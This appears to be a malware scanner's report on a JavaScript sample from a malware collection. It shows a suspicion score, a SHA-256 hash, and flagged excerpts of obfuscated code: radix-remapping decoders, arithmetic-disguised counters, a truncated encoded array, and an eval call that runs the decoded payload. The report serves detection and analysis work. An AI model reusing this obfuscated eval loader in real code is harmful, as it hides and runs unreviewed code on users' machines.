Suspicious ^80% javascript-malware-collection Download

20151211_d1311282605bbb49aea62cd08ee287e5.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256589c7445fa650683717c820386f4f30fa3e724c6e1ca1802f92929bc312ca631

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function uKxVw(dYWwByjFYnr,qkvRSEnBbVqQF,HrTBpaRB){VNRQ=parseInt(dYWwByjFYnr,qkvRSEnBbVqQF);oIaia=VNRQ.toString(HrTBpaRB);return oIaia;}function dwlwjmFeaCGIIRV(vlRTVDcszRnFrzfmq){eval(vlRTVDcszRnFrzfmq)}
3function hIFdjfWgcTfaLoqsKDAceDcGbxdKWjKPFKHJmikSfOdcbsrqxaTfzV(bsYxDQbGOHHjz,InBCecOfjQzJyv){ return jQvLh[uKxVw(bsYxDQbGOHHjz[InBCecOfjQzJyv],(12825+783)/648,(7830+560)/839)];}
4function VOklVXu(BCFwZQRGJtcvyhrnvKNXfeZhZHgMQnDxFcvk) {return !isNaN(parseFloat(BCFwZQRGJtcvyhrnvKNXfeZhZHgMQnDxFcvk)) && isFinite(BCFwZQRGJtcvyhrnvKNXfeZhZHgMQnDxFcvk);}
5function KgyCbXWrbXJ(DfNKDxrb,UiXCmI){return DfNKDxrb.split(UiXCmI)}
6var v=new Array("d","a","d","a","5d","4d","59","1b","3c","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  tZYmJ=[v,n];
9var JqZeKVBVK=[];
10function KzXqZItDXCzzckMHO(tZYmJ){oNYJeGnjtHm= '';qfBopcbcatE=(-7+7)/620; while(true){if(qfBopcbcatE >= (358+866)/612)break;JqZeKVBVK[qfBopcbcatE]=(-340+340)/174; while(true) { if(JqZeKVBVK[qfBopcbcatE] > tZYmJ[qfBopcbcatE].length-(-446+842)/396) { break; } if (VOklVXu(uKxVw(tZYmJ[qfBopcbcatE][JqZeKVBVK[qfBopcbcatE]],(2873+865)/178,(9216+664)/988))) {oNYJeGnjtHm += hIFdjfWgcTfaLoqsKDAceDcGbxdKWjKPFKHJmikSfOdcbsrqxaTfzV([tZYmJ[qfBopcbcatE][JqZeKVBVK[qfBopcbcatE]]], (-387+387)/529);} JqZeKVBVK[qfBopcbcatE]++;}qfBopcbcatE++;} return oNYJeGnjtHm}
11dwlwjmFeaCGIIRV(KzXqZItDXCzzckMHO(tZYmJ));